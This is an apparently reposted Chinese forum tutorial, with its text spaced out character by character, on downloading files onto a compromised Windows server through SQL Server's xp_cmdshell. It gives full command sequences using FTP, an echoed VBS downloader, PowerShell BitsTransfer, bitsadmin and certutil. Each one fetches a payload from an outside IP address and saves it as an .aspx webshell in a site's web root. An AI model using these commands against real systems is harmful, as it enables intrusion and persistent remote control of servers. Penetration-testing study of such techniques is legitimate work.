搜索

[20881] 2017-08-31_远程文件下载(利用sqlserver存储过程漏洞执行演示)

文档创建者：s7ckTeam
浏览次数：43
最后更新：2025-01-18
2017-08-31_远程文件下载(利用sqlserver存储过程漏洞执行演示) 远 程 文 件 下 载 ( 利 用 s q l s e r v e r 存 储 过 程 漏 洞 执 行 演 示 ) 原 创   l e m o n   L e m o n S e c   2 0 1 7 - 0 8 - 3 1 1 . w i n d o w s   c m d   f t p 上 传 和 下 载 上 传 和 下 载   操 作 它 服 务 器 连 接 我 电 脑 的 f t p , 然 后 从 我 电 脑 往 他 服 务 器 下 载 小 马 或 者 大 马 1 . “ 开 始 ” - “ 运 行 ” - 输 入 “ F T P ”   O R   c m d - - > f t p   2 . o p e n   q i n t . i t h o t . n e t     / * 这 一 步 可 以 与 第 一 步 合 并 ， 在 “ 运 行 ” 里 直 接 输 入 " f t p   q i n t . i t h o t . n e t " 。 如 果 你 的 F T P 服 务 器 不 是 用 的 2 1 默 认 端 口 ， 假 如 端 口 是 2 1 2 1 ， 那 么 此 步 的 命 令 应 在 后 面 空 格 加 2 1 2 1 ， 即 “ o p e n   q i n t . i t h o t . n e t   2 1 2 1 ” * /     3 . u s e r n a m e : u s e r n a m e       / * 提 示 你 输 入 用 户 名 * /     4 . p a s s w o r d : u s e r 1 2 3 4       / * 提 示 你 输 入 密 码 ， 密 码 不 回 显 ， 打 完 密 码 后 回 车 即 可 。 如 果 你 的 密 码 输 入 错 误 ， 将 不 会 提 示 你 重 新 输 入 ， 这 时 你 要 键 入 “ u s e r ” 命 令 ， 将 会 出 现 第 三 步 ， 你   可 以 重 新 输 入 用 户 名 和 密 码 。 * /     5 . p u t   i 0 0 1 . j p g   / * 将 当 前 目 录 ( d : q i n t ) 中 的 文 件 i 0 0 1 . j p g 上 传 到 F T P 服 务 器 默 认 目 录 。 可 以 用 " m p u t   * . * " 将 所 有 文 件 上 传 到 F T P 服 务 器 上 。 * /   6 . m p u t   * . h t m ／ ＊ 从 本 地 目 录 上 传 多 个 h t m 文 件 到 服 务 器 目 录 ＊ ／ 7 . g e t   d 1 2 3 . j p g   / * 将 F T P 服 务 器 默 认 目 录 中 的 文 件 d 1 2 3 . j p g 下 载 到 当 前 目 录 下 ( d : q i n t ) 。 可 以 用 " m g e t   * . * " 将 所 有 文 件 下 载 到 d : q i n t * /   8 . m g e t   * . h t m ／ ＊ 下 载 当 前 服 务 器 目 录 下 的 多 个 h t m 文 件 到 本 地 目 录 ＊ ／   9 . d e l e t e   * . *   / * 删 除 目 录 q i n t 中 的 所 有 文 件 。 * /   现 在 用 这 种 方 式 的 不 多 ， 所 以 没 有 实 际 操 作 以 及 截 图 ， 只 作 为 了 解 。 2 . V B S 远 程 文 件 下 载 远 程 文 件 下 载 V B S 的 全 称 是 ： M i c r o s o f t   V i s u a l   B a s i c   S c r i p t   E d i t o n 。 （ 微 软 公 司 可 视 化 B A S I C 脚 本 版 ） 。 V B S 是 基 于 V i s u a l   B a s i c 的 脚 本 语 言 。 利 用 s q l s e r v e r ： x p _ c m d s h e l l 存 储 过 程 漏 洞 执 行 存 储 过 程 漏 洞 执 行 f : w w w r o o t L o t t e r y W e b w g e t . v b s 为 上 传 路 径 命 令 如 下 ： 命 令 如 下 ：
e c h o   i L o c a l = L C a s e ( W s c r i p t . A r g u m e n t s ( 1 ) )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s                                                                                       e c h o   i R e m o t e = L C a s e ( W s c r i p t . A r g u m e n t s ( 0 ) )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   w s c r i p t . e c h o   " [ ! ] G E T   " , i R e m o t e   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s e t   x P o s t = C r e a t e O b j e c t ( " M i c r o s o f t . X M L H T T P " )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   x P o s t . O p e n   " G E T " , i R e m o t e , 0   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   x P o s t . S e n d ( )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   O n   E r r o r   R e s u m e   N e x t   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s e t   s G e t = C r e a t e O b j e c t ( " A D O D B . S t r e a m " )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . M o d e = 3   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . T y p e = 1   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . O p e n ( )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . W r i t e   x P o s t . R e s p o n s e B o d y   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . S a v e T o F i l e   i L o c a l , 2   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s 参 考 截 图 ：   / /     e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   i L o c a l = L C a s e ( W s c r i p t . A r g u m e n t s ( 1 ) )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s ' 部 分 截 图 （ 不 包 括 所 有 命 令 的 截 图 ） ：
U s a g e : c s c r i p t   / / n o l o g o   f : w w w r o o t L o t t e r y W e b w g e t . v b s   h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 1 . t x t   f : w w w r o o t L o t t e r y W e b 1 1 . a s p x （ h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 1 . t x t   为 本 地 的 地 址 ） 执 行 v b s 下 载 文 件 e x e c   m a s t e r . . x p _ c m d s h e l l   ' c s c r i p t   / / n o l o g o   f : w w w r o o t L o t t e r y W e b w g e t . v b s h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 1 . t x t     f : w w w r o o t L o t t e r y W e b 1 1 . a s p x '
查 看 1 1 . a s p x 文 件 ： e x e c   m a s t e r . . x p _ c m d s h e l l   ' t y p e     f : w w w r o o t L o t t e r y W e b 1 1 . a s p x ' 可 以 看 到 已 经 全 部 写 入 直 接 连 接 1 1 . a s p x
s h e l l 3 . p o w e r s h e l l 文 件 下 载 文 件 下 载 P o w e r S h e l l   是 一 种 命 令 行 外 壳 程 序 和 脚 本 环 境 ， 使 命 令 行 用 户 和 脚 本 编 写 者 可 以 利 用   . N E T   F r a m e w o r k 的 强 大 功 能 。   它 引 入 了 许 多 非 常 有 用 的 新 概 念 ， 从 而 进 一 步 扩 展 了 您 在   W i n d o w s   命 令 提 示 符 和   W i n d o w s   S c r i p t   H o s t   环 境 中 获 得 的 知 识 和 创 建 的 脚 本 。 利 用 s q l s e r v e r ： x p _ c m d s h e l l 存 储 过 程 漏 洞 执 行 存 储 过 程 漏 洞 执 行 f : w w w r o o t L o t t e r y W e b w g e t . v b s 为 上 传 路 径 命 令 如 下 ： I m p o r t - M o d u l e   B i t s T r a n s f e r                                                                                                   $ u r l = ' h t t p : / / w w w / b a i d u . c o m / l o g o . p n g '                                                                         S t a r t - B i t s T r a n s f e r   $ u r l   d : l o g o . p n g                                                                                 执 行 ： p o w e r s h e l l                                                                                                                                         / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   I m p o r t - M o d u l e   B i t s T r a n s f e r   > > f : w w w r o o t L o t t e r y W e b 3 3 3 . p s 1 ' / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   $ u r l = " h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 2 . t x t "   > > f : w w w r o o t L o t t e r y W e b 3 3 3 . p s 1 '   / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   S t a r t - B i t s T r a n s f e r   $ u r l   f : w w w r o o t L o t t e r y W e b 3 3 3 . a s p x   > > f : w w w r o o t L o t t e r y W e b 3 3 3 . p s 1 '                                                                                                                                                                                                                     ( 3 3 3 . a s p x         随 便 命 令 的     通 常 命 名 w e b s h e l l . a s p x )   / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' p o w e r s h e l l   f : w w w r o o t L o t t e r y W e b 3 3 3 . p s 1 ' 操 作 截 图 如 下 ， 前 两 个 图 是 2 2 2 . p s l ,   后 面 的 是 3 3 3 . p s l ， 此 名 字 应 该 全 部 一 样 ， 是 我 中 间 执 行 错 误 后 改 名 为 3 3 3 . p s l 的 ， 截 图 部 分 没 有 更 换 而 且 。 只 当 全 部 都 是 3 3 3 . p s l 即 可 。

* 禁 止 执 行 脚 本 ， 以 下 为 详 细 解 释 ： 刚 开 始 使 用 P o w e r s h e l l ， 导 入 管 理 模 块 或 者 其 他 操 作 的 时 候 会 出 现 因 为 在 此 系 统 中 禁 止 执 行 脚 本 的 报 错 ， 报 错 内 容 如 下 ： W i n d o w s   P o w e r S h e l l 版 权 所 有   ( C )   2 0 0 9   M i c r o s o f t   C o r p o r a t i o n 。 保 留 所 有 权 利 。
P S   C : W i n d o w s s y s t e m 3 2 >   D : W o r k s h o p P o w e r s h e l l S p r i n k l e r s r c S c r i p t s S P R I N K L E . p s 1 无 法 加 载 文 件   D : W o r k s h o p P o w e r s h e l l S p r i n k l e r s r c S c r i p t s S P R I N K L E . p s 1 ， 因 为 在 此 系 统 中 禁 止 执 行 脚 本 。 有 关 详 细 信 息 ， 请 参 阅   " g e t - h e l p   a b o u t _ s i g n i n g " 。 所 在 位 置   行 : 1   字 符 :   5 8 +   D : W o r k s h o p P o w e r s h e l l S p r i n k l e r s r c S c r i p t s S P R I N K L E . p s 1   < < < <         +   C a t e g o r y I n f o                     :   N o t S p e c i f i e d :   ( : )   [ ] ,   P S S e c u r i t y E x c e p t i o n         +   F u l l y Q u a l i f i e d E r r o r I d   :   R u n t i m e E x c e p t i o n P S   C : W i n d o w s s y s t e m 3 2 >   g e t - E x e c u t i o n P o l i c y   R e s t r i c t e d 果 然 ， 是 被 限 制 。 还 是 在 " g e t - h e l p   a b o u t _ s i g n i n g " 里 面 可 以 查 到 设 置 命 令 " s e t - e x e c u t i o n p o l i c y "   再 在 帮 助 中 找 到 " s e t - e x e c u t i o n p o l i c y " 的 说 明 。 。 似 乎 是 比 较 建 议 设 置 为 ， 至 少 是 被 标 记 为 可 信 任 的 - -   R e m o t e S i g n e d :   R e q u i r e s   t h a t   a l l   s c r i p t s   a n d   c o n f i g u r a t i o n   f i l e s   d o w n l o a d e d   f r o m   t h e   I n t e r n e t   b e   s i g n e d   b y   a   t r u s t e d   p u b l i s h e r .   在 P o w e r S h e l l 执 行 以 下 ：   P S   C : W i n d o w s s y s t e m 3 2 >   s e t - E x e c u t i o n P o l i c y   R e m o t e S i g n e d 执 行 策 略 更 改   执 行 策 略 可 以 防 止 您 执 行 不 信 任 的 脚 本 。 更 改 执 行 策 略 可 能 会 使 您 面 临   a b o u t _ E x e c u t i o n _ P o l i c i e s   帮 助 主 题 中 所 述 的 安 全 风 险 。 是 否 要 更 改 执 行 策 略 ?   [ Y ]   是 ( Y )     [ N ]   否 ( N )     [ S ]   挂 起 ( S )     [ ? ]   帮 助   ( 默 认 值 为 “ Y ” ) :   y   P S   C : W i n d o w s s y s t e m 3 2 > 所 以 我 用 此 方 式 拿 所 以 我 用 此 方 式 拿 w e b s h e l l 失 败 失 败 4 、 、 b i t s a d m i n 文 件 下 载 文 件 下 载                                   v i s t a （ 操 作 系 统 名 称 ） 之 后 才 有 的 命 令 （ 操 作 系 统 名 称 ） 之 后 才 有 的 命 令 B I T S A d m i n   是 一 个 命 令 行 工 具 ， 可 用 于 创 建 下 载 或 上 载 作 业 并 监 视 其 进 度 。       / / b i t s a d m i n   / t r a n s f e r           将 一 个 或 多 个 文 件 。 命 令 命 令 : b i t s a d m i n   / t r a n s f e r   n   h t t p : / / d o w n l o a d . s y s i n t e r n a l s . c o m / f i l e s / P S T o o l s . z i p   C : t e s t u p d a t e P S T o o l s . z i p                   完 整 语 句 ：     / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' b i t s a d m i n   / t r a n s f e r   n   h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 2 . t x t   f : w w w r o o t L o t t e r y W e b 5 5 5 . a s p x '
5 . c e r t u t i l 文 件 下 载 文 件 下 载 C e r t u t i l . e x e   是 作 为   W i n d o w s   S e r v e r   2 0 0 3   家 族 中 证 书 服 务 的 一 部 分 进 行 安 装 的 命 令 行 程 序 用 于 证 书 管 理 支 持 x p - w i n 1 0 更 多 操 作 说 明 见 h t t p s : / / t e c h n e t . m i c r o s o f t . c o m / z h - c n / l i b r a r y / c c 7 5 5 3 4 1 ( v = w s . 1 0 ） 命 令 ： c e r t u t i l   - u r l c a c h e   - s p l i t   - f     h t t p : / / w w w . b a i d u . c o m / 1 . r a r                                         / /   保 存 在 当 前 路 径 ， 文 件 名 称 同 U R L                                                                                                                                   完 整 语 句 ：   / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' c e r t u t i l   - u r l c a c h e   - s p l i t   - f     h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 2 . t x t '            
详 解 渗 透 测 试 中 的 c e r t u t i l c e r t u t i l 简 介 简 介 用 于 证 书 管 理 支 持 x p - w i n 1 0 更 多 操 作 说 明 见 h t t p s : / / t e c h n e t . m i c r o s o f t . c o m / z h - c n / l i b r a r y / c c 7 5 5 3 4 1 ( v = w s . 1 0 ) 渗 透 测 试 中 的 应 用 渗 透 测 试 中 的 应 用 1 、 、 d o w n l o a d e r ( 1 )   保 存 在 当 前 路 径 ， 文 件 名 称 同 U R L e g ： ( 2 )   保 存 在 当 前 路 径 ， 指 定 保 存 文 件 名 称 e g ： ( 3 )   保 存 在 缓 存 目 录 ， 名 称 随 机 缓 存 目 录 位 置 ：   c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / 3 g s t u d e n t / t e s t / m a s t e r / v e r s i o n . t x t c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / 3 g s t u d e n t / t e s t / m a s t e r / v e r s i o n . t x t   f i l e . t x t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理